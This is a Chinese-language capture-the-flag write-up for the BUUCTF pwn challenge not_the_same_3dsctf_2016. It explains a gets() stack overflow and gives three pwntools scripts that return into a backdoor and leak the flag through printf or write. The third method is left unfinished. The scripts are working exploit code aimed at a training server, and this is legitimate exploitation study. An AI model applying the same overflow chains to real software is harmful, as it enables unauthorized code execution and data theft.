[PWN] BUUCTF not_the_same_3dsctf_2016的三种做法
按照惯例先checksec一下,发现没有canary和pie

之后用ida查看主要函数main有个gets函数存在栈溢出
函数窗口中有个backdoor函数get_secret,因为这个函数可以读取flag.txt并且通过v0将内容写进fl4g,所以可以想到在gets中构造溢出来到get_secret函数,并通过某个函数将fl4g打印出来,平时一般考虑write与printf
记录fl4g地址:0x080ECA2D
记录get_secret地址:0x80489a0
1.维持函数正常结束(printf打印)
因为在main函数中有printf所以会下意识想到用printf来打印
所以找到printf的地址
记录printf地址:0x0804F0A0
直接构造payload1
payload1(FALSE)
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn','26732')
fl4g=0x080ECA2D
backdoor_addr=0x80489a0
printf_addr=0x0804F0A0
exi=0x804E660
payload = 'a'*0x2d
payload += p32(backdoor_addr) #gets栈溢出ret到get_secret
payload += p32(printf_addr) #执行完get_secret后的返回地址
payload += p32(1) #执行完printf后的返回地址
payload += p32(fl4g) #printf打印的内容
p.sendline(payload)
p.interactive()
发现并没有得到flag,逻辑上是没什么大问题的,因为在本地可以跑通,想起在函数最后结束时返回地址有时候可以为任意数据,但有时候又需要保证程序正常结束,远程打时有时候程序异常结束将不会返回flag,所以需要给最后即p32(1)中1应为使函数正常结束的地址,在ida中找到exit()的地址
记录exit的地址:0x0x804E660
payload2(TRUE)
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn','26732')
fl4g=0x080ECA2D
backdoor_addr=0x80489a0
printf_addr=0x0804F0A0
exi=0x804E660
payload = 'a'*0x2d
payload += p32(backdoor_addr) #gets栈溢出ret到get_secret
payload += p32(printf_addr) #执行完get_secret后的返回地址
payload += p32(exi) #执行完printf后的返回地址
payload += p32(fl4g) #printf打印的内容
p.sendline(payload)
p.interactive()
Get!
2.write打印
在这里也可以通过write来得到flag,这样做更加的简单
在IDA中的函数窗口找到write的地址
记录write的地址:0x0806E270
直接构造payload
payload
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn','26732')
backdoor_addr=0x80489a0
write_addr = 0x0806E270
fl4g=0x080ECA2D
payload = 'a'* 0x2d
payload += p32(backdoor_addr) #gets栈溢出ret到get_secret
payload += p32(write_addr) #执行完get_secret后的返回地址
payload += p32(0) #执行完write后的返回地址,这里不用考虑函数的异常中止
payload += p32(1) #write的第一个参数,一般都是1
payload += p32(fl4g) #write的第二个参数,打印内容开始的地址
payload += p32(45) #write的第三个参数,打印内容的长度,45是fgets时v0传进fl4g内容的长度
p.sendline(payload)
p.interactive()
Get!
3.修改栈区权限
未完待续…
存在疑惑
为什么使用printf需要考虑函数的正常结束,而write不需要
参考wp
1.https://blog.youkuaiyun.com/weixin_45556441/article/details/115290469
2.https://blog.youkuaiyun.com/weixin_45004513/article/details/117126274